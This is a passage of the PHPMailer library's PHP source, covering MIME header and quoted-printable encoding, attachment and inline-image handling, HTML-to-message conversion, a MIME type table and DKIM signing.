$this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * 